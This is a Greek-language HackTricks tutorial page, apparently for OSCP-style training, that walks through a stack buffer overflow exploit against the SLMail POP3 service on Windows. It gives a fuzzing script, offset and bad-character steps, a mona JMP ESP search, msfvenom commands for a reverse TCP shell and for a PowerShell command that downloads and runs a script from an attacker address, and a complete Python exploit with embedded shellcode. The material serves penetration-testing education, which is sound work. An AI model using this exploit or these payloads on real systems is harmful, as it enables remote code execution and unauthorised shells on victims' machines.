Windows Exploiting (Βασικός Οδηγός - OSCP lvl)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Tip
Ψάχνετε για post-OSCP kernel primitives; Οι σύγχρονες registry hive corruption chains για deterministic SYSTEM shells καλύπτονται εδώ:
Windows Registry Hive Exploitation
Ξεκινήστε την εγκατάσταση της υπηρεσίας SLMail
Επανεκκινήστε την υπηρεσία SLMail
Κάθε φορά που χρειάζεται να επανεκκινήσετε την υπηρεσία SLMail, μπορείτε να το κάνετε χρησιμοποιώντας τη Windows console:
net start slmail
.png)
Πολύ βασικό python exploit template
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
Αλλαγή γραμματοσειράς του Immunity Debugger
Μεταβείτε σε Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK
Συνδέστε τη διαδικασία με το Immunity Debugger:
File –> Attach
.png)
Και πατήστε το κουμπί START
Στείλτε το exploit και ελέγξτε αν το EIP επηρεάζεται:
.png)
Κάθε φορά που σπάτε την υπηρεσία πρέπει να την επανεκκινήσετε όπως υποδεικνύεται στην αρχή αυτής της σελίδας.
Δημιουργήστε ένα pattern για να τροποποιήσετε το EIP
Το pattern πρέπει να είναι τόσο μεγάλο όσο το buffer που χρησιμοποιήσατε για να σπάσετε την υπηρεσία προηγουμένως.
.png)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
Αλλάξτε το buffer του exploit, ορίστε το pattern και εκτελέστε το exploit.
Θα πρέπει να εμφανιστεί ένα νέο crash, αλλά με διαφορετική διεύθυνση EIP:
.png)
Ελέγξτε αν η διεύθυνση βρισκόταν στο pattern σας:
.png)
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
Φαίνεται ότι μπορούμε να τροποποιήσουμε το EIP στο offset 2606 του buffer.
Ελέγξτε το τροποποιώντας το buffer του exploit:
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
Με αυτό το buffer, το EIP μετά το crash θα πρέπει να δείχνει στο 42424242 (“BBBB”)
.png)
.png)
Φαίνεται ότι λειτουργεί.
Έλεγχος για χώρο για Shellcode μέσα στο stack
600B θα πρέπει να είναι αρκετό για οποιοδήποτε ισχυρό Shellcode.
Ας αλλάξουμε το buffer:
buffer = 'A'*2606 + 'BBBB' + 'C'*600
Εκτέλεσε το νέο exploit και έλεγξε το EBP και το μήκος του χρήσιμου shellcode
.png)
.png)
Μπορείς να δεις ότι όταν επιτυγχάνεται η ευπάθεια, το EBP δείχνει στο shellcode και ότι έχουμε πολύ χώρο για να τοποθετήσουμε ένα shellcode εδώ.
Σε αυτή την περίπτωση έχουμε από 0x0209A128 έως 0x0209A2D6 = 430B. Αρκετό.
Check for bad chars
Άλλαξε ξανά το buffer:
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars
Το badchars ξεκινάει στο 0x01 επειδή το 0x00 είναι σχεδόν πάντα κακό.
Εκτελέστε επανειλημμένα το exploit με αυτό το νέο buffer αφαιρώντας τα chars που βρέθηκαν άχρηστα:.
Για παράδειγμα:
Σε αυτή την περίπτωση μπορείτε να δείτε ότι you shouldn’t use the char 0x0A (τίποτα δεν αποθηκεύεται στη μνήμη επειδή ο char 0x09).
.png)
Σε αυτή την περίπτωση μπορείτε να δείτε ότι the char 0x0D is avoided:
.png)
Βρείτε ένα JMP ESP ως return address
Χρησιμοποιώντας:
!mona modules #Get protections, look for all false except last one (Dll of SO)
Θα καταγράψεις τους χάρτες μνήμης. Ψάξε για κάποιο DLL που έχει:
- Rebase: False
- SafeSEH: False
- ASLR: False
- NXCompat: False
- OS Dll: True
.png)
Τώρα, μέσα σε αυτή τη μνήμη πρέπει να βρεις κάποια JMP ESP bytes — για να το κάνεις, εκτέλεσε:
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
Στη συνέχεια, αν βρεθεί κάποια διεύθυνση, επιλέξτε μία που να μην περιέχει κανένα badchar:
.png)
Σε αυτή την περίπτωση, για παράδειγμα: _0x5f4a358f_
Δημιουργία shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
Αν το exploit δεν λειτουργεί αλλά θα έπρεπε (μπορείς να δεις με ImDebg ότι το shellcode έχει φτάσει), προσπάθησε να δημιουργήσεις άλλα shellcodes (msfvenom για να φτιάξεις διαφορετικά shellcodes με τις ίδιες παραμέτρους).
Πρόσθεσε λίγα NOPS στην αρχή του shellcode και χρησιμοποίησέ τα μαζί με το return address για JMP ESP, και ολοκλήρωσε το exploit:
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
Warning
Υπάρχουν shellcodes που θα επαναγραφούν, επομένως είναι σημαντικό να προσθέτετε πάντα μερικά NOPs πριν από το shellcode
Βελτίωση του shellcode
Προσθέστε αυτές τις παραμέτρους:
EXITFUNC=thread -e x86/shikata_ga_nai
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


